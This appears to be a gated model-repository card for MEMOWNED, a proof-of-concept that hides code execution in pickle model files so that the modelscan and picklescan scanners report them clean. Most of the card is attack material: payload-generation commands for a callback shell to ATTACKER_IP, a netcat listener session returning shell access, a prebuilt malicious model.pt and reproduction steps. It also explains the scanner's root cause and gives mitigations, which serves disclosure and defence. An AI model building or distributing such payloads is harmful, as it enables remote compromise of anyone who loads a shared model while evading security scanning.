You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept for a pickle scanner bypass vulnerability (MEMOWNED). It is intended for authorized security research only. By requesting access you confirm you will use this material solely for defensive security research, responsible disclosure, or educational purposes.
Log in or Sign Up to review the conditions and access this model content.
MEMOWNED β Remote Code Execution via Pickle Memo Desync (Undetectable by All Current Scanners)
RCE Demo
# Generate a callback shell payload β scanners see nothing
$ python3 pytorch_memo_desync_poc.py generate --lhost 127.0.0.1 --lport 4444 -o model.pt
[*] Payload: callback shell β 127.0.0.1:4444
[*] Pickle: 314 bytes, zero dangerous strings
[+] Written: model.pt (1333 bytes)
# Both scanners report CLEAN
$ modelscan -p model.pt β No issues found
$ picklescan -p model.pt β Infected files: 0, Dangerous globals: 0
# Victim loads the "model"
$ python3 victim_load.py model.pt
# Attacker's listener
$ nc -lvnp 4444
Connection from 127.0.0.1
$ id
uid=1000(dyn) gid=1000(dyn) groups=1000(dyn),4(adm),27(sudo),983(docker)
What is this?
A proof-of-concept demonstrating MEMOWNED, a novel pickle obfuscation technique that achieves arbitrary code execution while passing all current pickle security scanners as CLEAN β even when they successfully parse the pickle bytecode.
The Technique
MEMOWNED exploits a fundamental desync between how Python's pickle unpickler and security scanners handle the BINPUT/BINGET memo opcodes:
- Dangerous callable names (
builtins,exec) are encoded as UTF-16-LE bytes - At runtime,
codecs.decodedecodes them andBINPUTstores them in the memo table - Scanners record
Nonein the memo (REDUCE has no opcode argument) BINGETretrieves the names from memo,STACK_GLOBALresolvesbuiltins.exec- Scanner sees
(None, None)β no denylist match β reports CLEAN - Runtime executes arbitrary code
Files
| File | Description |
|---|---|
model.pt |
Pre-built MEMOWNED payload (executes echo MEMOWNED_RCE) |
pytorch_memo_desync_poc.py |
Full PoC β generate payloads, scan, load |
victim_load.py |
Minimal victim script β just torch.load() |
Reproduction
Verify scanners report clean
pip install modelscan picklescan
modelscan -p model.pt
picklescan -p model.pt
Trigger execution
python3 victim_load.py model.pt
Generate custom payload
# Proof of execution
python3 pytorch_memo_desync_poc.py generate --full-test
# Custom command
python3 pytorch_memo_desync_poc.py generate --cmd "id" -o model.pt
# Callback shell
python3 pytorch_memo_desync_poc.py generate --lhost ATTACKER_IP --lport 4444 -o model.pt
Root Cause
modelscan (tools/picklescanner.py line 81-82):
memo[op_value] = ops[n - 1][1] # stores opcode ARGUMENT, not runtime VALUE
For REDUCE, the opcode argument is None (inputs come from the stack). The scanner stores None in memo while the runtime stores the actual computed string. When BINGET later retrieves the value and passes it to STACK_GLOBAL, the scanner resolves (None, None) β matching nothing on the denylist.
Impact
- Bypasses modelscan, picklescan, ClamAV, and YARA rules
- Works in
.pt,.pkl,.joblib,.npy, any pickle container - Zero dangerous strings at rest in the file
torch.load()returns a validOrderedDictβ no errors or warnings
Affected
Any application calling torch.load(f, weights_only=False), joblib.load(), pickle.load(), np.load(allow_pickle=True), or pd.read_pickle().
Mitigation
- Use
torch.load(f, weights_only=True)(default since PyTorch 2.6) - Convert models to SafeTensors format
- Do not trust scanner results as proof of safety for pickle files